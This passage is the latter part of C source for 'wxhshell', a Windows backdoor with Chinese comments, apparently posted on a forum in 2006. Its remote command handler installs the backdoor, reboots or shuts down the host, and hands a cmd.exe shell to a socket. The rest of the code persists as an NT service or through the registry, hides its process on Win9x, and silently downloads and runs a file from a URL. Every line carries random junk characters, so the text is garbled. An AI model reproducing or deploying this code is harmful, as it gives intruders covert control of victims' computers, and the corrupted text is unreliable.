WJ":BK{NM  
    switch(cmd[0]) { golr,+LSo  
  {@, } M  
  // 帮助 ^wNx5t  
  case '?': { 9c9F C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Fb#.Gg9b>  
    break; *W aL}i(P1  
  } A`_(L|~  
  // 安装 kzU;24"K  
  case 'i': { U'(}emh}  
    if(Install()) `7_=2C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DID&fj9m  
    else swNJ\m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9DcUx-   
    break; 3yg22y &l  
    } O92a*)  
  // 卸载 <{ !^  
  case 'r': { o8B_;4uB  
    if(Uninstall()) 7xz~%xC.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); banie{ e  
    else lCT N dW+=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F[m"eEX  
    break; mw0#Dhyy1=  
    } jusP aAdW  
  // 显示 wxhshell 所在路径 h<;kj#qbb  
  case 'p': { nn>< k"  
    char svExeFile[MAX_PATH]; R-nC+)^  
    strcpy(svExeFile,"\n\r"); uMOm<kn  
      strcat(svExeFile,ExeFile); %SORs(4  
        send(wsh,svExeFile,strlen(svExeFile),0); 7 +A-S9P)  
    break; bU'{U0lM  
    } {.F``2  
  // 重启 CY2DxP%  
  case 'b': { .Rl58]x~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EGMj5@>  
    if(Boot(REBOOT)) s!S,;H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $T* ##kyE9  
    else { t95hI DtD  
    closesocket(wsh); clfi)-^ {K  
    ExitThread(0); F jdh&9Zc  
    } S~^0 _?  
    break; &X0/7)*"v  
    } nsR^TD;  
  // 关机 uV1H iv-  
  case 'd': { V# Mw  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [P#^nyOh(  
    if(Boot(SHUTDOWN)) Q)N$h07R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QYDTb=h~  
    else { :()(P9?  
    closesocket(wsh); pcw!e_"+  
    ExitThread(0); 86d *  
    } JHpoW}7QB  
    break; pL`snVz  
    } 2{naSiaq  
  // 获取shell 0_JbE  
  case 's': { 7s:`]V%  
    CmdShell(wsh); }gi>Z  
    closesocket(wsh); AU1P?lk  
    ExitThread(0); #6{"c r6l  
    break; il^SGH  
  } E.W7`zl  
  // 退出 +js3o@Ku{\  
  case 'x': { bh=d'9B@&J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .UNh\R?r  
    CloseIt(wsh); t6 :;0[j  
    break; tm\ <w H  
    } wqDRFZ1*P  
  // 离开 g*8LdH 6mq  
  case 'q': { EFeGxM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !NuYx9L?L  
    closesocket(wsh); -x )(2|  
    WSACleanup(); !fdni}f)  
    exit(1); {#M=gDhbX  
    break; u:H@]z(x  
        } 9_IR%bm  
  } }D.?O,ue  
  } ?#]K54?  
Yjz'lWg  
  // 提示信息 @~6A9Fr  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5xW)nEV  
} 2 =tPxO')B  
  } Cnf;5/  
2D-ogSIo  
  return; 'R6D+Vk/  
} @'[w7HsJ  
QI>yi&t  
// shell模块句柄 lv9Ss-c4  
int CmdShell(SOCKET sock) CaNZScnZ  
{ E&0A W{  
STARTUPINFO si; : 4$Ex2  
ZeroMemory(&si,sizeof(si)); oQ!}@CaN|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J)(H-xvV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &rj6<b1A  
PROCESS_INFORMATION ProcessInfo; Ne/jvWWN  
char cmdline[]="cmd"; @t`| w.]ml  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nut;ohIh  
  return 0; {(G@YG?  
} AG) N^yd  
[:$j<}UmB  
// 自身启动模式 /b@0HL?  
int StartFromService(void) >K#Z]k  
{ Vja' :i  
typedef struct FVLXq0<Cj  
{ L]0+ u\(  
  DWORD ExitStatus; IDBhhv3ak  
  DWORD PebBaseAddress; jM J[6qj  
  DWORD AffinityMask; M0o=bYI  
  DWORD BasePriority; Y%qhgzz?/  
  ULONG UniqueProcessId; ZTd_EY0q  
  ULONG InheritedFromUniqueProcessId; pfg"6P  
}   PROCESS_BASIC_INFORMATION; _J&u{  
"Gcr1$xG8!  
PROCNTQSIP NtQueryInformationProcess; i2b\` 805  
E=gD{1,?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [$?S9)Xd  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Kbx(^f12  
Q3%a=ba)h  
  HANDLE             hProcess; qM@][]j:  
  PROCESS_BASIC_INFORMATION pbi; [$3Zid  
IC[SJVH;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !_<.6ja  
  if(NULL == hInst ) return 0; `{I,!to  
5WP[-J)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9}X3Q!iFb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mL+}Ka  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ndi'b_Sh\  
3f's>+,#%  
  if (!NtQueryInformationProcess) return 0; /@FB;`'  
5`oor86  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k}>l+_*+7  
  if(!hProcess) return 0; 05*_h0}  
'DsfKR^ s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v Xio1hu  
[k-7Kq  
  CloseHandle(hProcess); 8q7KqYu  
<t]c'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); EBzg<-?o  
if(hProcess==NULL) return 0; _KmpC>J+  
eJ{"\c(  
HMODULE hMod; ~'fa,XZ<  
char procName[255]; BO[Q"g$Kon  
unsigned long cbNeeded; UkNC|#l)  
H#U{i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i40r}?-  
avO+1<`4B  
  CloseHandle(hProcess); ABhza|  
vo Q,K9  
if(strstr(procName,"services")) return 1; // 以服务启动 oBqP^uT>a|  
pzU">)  
  return 0; // 注册表启动 .j88=t0  
} 9ciL<'H\  
HT?`PG  
// 主模块 ^ bM;C_<$f  
int StartWxhshell(LPSTR lpCmdLine) e/;Ui  
{ Kox~k?JK  
  SOCKET wsl; b,T=0W  
BOOL val=TRUE; Zpb3>0<R  
  int port=0; m)_1->K  
  struct sockaddr_in door; /UyW&]nK  
[%l+ C~m  
  if(wscfg.ws_autoins) Install(); 58e{WC  
Zy*}C,Z  
port=atoi(lpCmdLine); 3{MIBMA  
e@]cI/j  
if(port<=0) port=wscfg.ws_port; oE)c8rE  
oK5(,8 (4  
  WSADATA data; 8GlH)J+kq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Rz=]KeZu  
D{BH~IM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4Hzbb#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^D4b\mF  
  door.sin_family = AF_INET; =Bo0Oei  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &KR@2~vE  
  door.sin_port = htons(port); t 1C{  
1b|<   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NlcWnSv  
closesocket(wsl); ,7%(Jj$ ^  
return 1; ;o^m"I\y  
} 1}ZBj%z4l  
/4~RlXf@  
  if(listen(wsl,2) == INVALID_SOCKET) { pNiqb+^nz  
closesocket(wsl); RB &s$6A  
return 1; ? !~au0  
} =:"@YD^a4  
  Wxhshell(wsl); &u=FLp5  
  WSACleanup(); s vo^#V~h'  
;prp6(c  
return 0; `}Q;2 F  
+#B%YK|LR  
} A5H[g`&  
!uO|T'u0a  
// 以NT服务方式启动 *c3 o&-ke9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9oq(5BG,  
{ cQ+, F2  
DWORD   status = 0; :He:Bdk  
  DWORD   specificError = 0xfffffff; p$9N}}/c  
~o # NOfYi  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .{x5(bi0S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;( 2uQ#Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q"5 2-42  
  serviceStatus.dwWin32ExitCode     = 0; ;=^WIC+Nr  
  serviceStatus.dwServiceSpecificExitCode = 0; sJM}p5V  
  serviceStatus.dwCheckPoint       = 0; ,RT\&Ze5  
  serviceStatus.dwWaitHint       = 0; pwZ &2&|  
`HJwwKd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A1'IK.  
  if (hServiceStatusHandle==0) return; @ics  
I" j7  
status = GetLastError(); A,=l9hE'  
  if (status!=NO_ERROR) wK\SeX  
{ @K+u+} R  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >XZq=q]E!  
    serviceStatus.dwCheckPoint       = 0; 5N|77AAxK  
    serviceStatus.dwWaitHint       = 0; ]B7t9l  
    serviceStatus.dwWin32ExitCode     = status; g)p[A 4  
    serviceStatus.dwServiceSpecificExitCode = specificError; %##9.Xm6l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f Fz8m  
    return; jcG4h/A  
  } XqwdJND  
n&V(c&C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dF?pEet?2  
  serviceStatus.dwCheckPoint       = 0; @%fkW"y:  
  serviceStatus.dwWaitHint       = 0; <'vM+Lk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \Fe5<G'v  
} zO\"$8q*  
X0P$r6 ;  
// 处理NT服务事件,比如:启动、停止 PCIC*!{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^a}{u$<  
{ v0xi(Wu  
switch(fdwControl) 6R,;c7Izhd  
{ 9,>M/_8>  
case SERVICE_CONTROL_STOP: #M>E{w9  
  serviceStatus.dwWin32ExitCode = 0; -OW$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~,guw7F  
  serviceStatus.dwCheckPoint   = 0; "yz@LV1  
  serviceStatus.dwWaitHint     = 0;  9q5[W=|  
  { T(}da**X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kN) pi "  
  } *lTu-  
  return; dW5z0VuB$/  
case SERVICE_CONTROL_PAUSE: i)p__Is  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;s!H  
  break; 0y1t%C075  
case SERVICE_CONTROL_CONTINUE: s`TBz8QO$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hg&AQk  
  break; Fca?'^X  
case SERVICE_CONTROL_INTERROGATE: g!QumRF  
  break; aOuon0  
}; W>Kwl*Cis"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *>#cs#)  
} x$p\ocA  
J+4uUf/d!  
// 标准应用程序主函数 Q:LuRE!t  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wb?hfe  
{ x SUR<  
|UaI i^  
// 获取操作系统版本 Q6>vF)( -  
OsIsNt=GetOsVer(); V cL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); eyG.XAP  
0VZj;Jg}q  
  // 从命令行安装 m6 gr!aT  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3k(?`4JJ  
!6%mt}h  
  // 下载执行文件 %In"Kh*  
if(wscfg.ws_downexe) { h=tY 5]8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E}GSii%S  
  WinExec(wscfg.ws_filenam,SW_HIDE); /6fPC;l  
} CNz[@6-cYU  
;wF|.^_2  
if(!OsIsNt) { 3$b(iI< "  
// 如果时win9x,隐藏进程并且设置为注册表启动 :tgTYIF  
HideProc(); D0P% .r"v  
StartWxhshell(lpCmdLine); 9%wppNT/  
} ",+uvJT1O  
else 93dotuF  
  if(StartFromService()) S .jjB  
  // 以服务方式启动 !< )_ F  
  StartServiceCtrlDispatcher(DispatchTable); GwycSb1  
else ;0 *^98K  
  // 普通方式启动 !RD,:\5V  
  StartWxhshell(lpCmdLine); D^~g q`/)  
 {MtB!x  
return 0; ^`7t@G$ D  
}
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只看该作者 1 发表于: 2006-10-10
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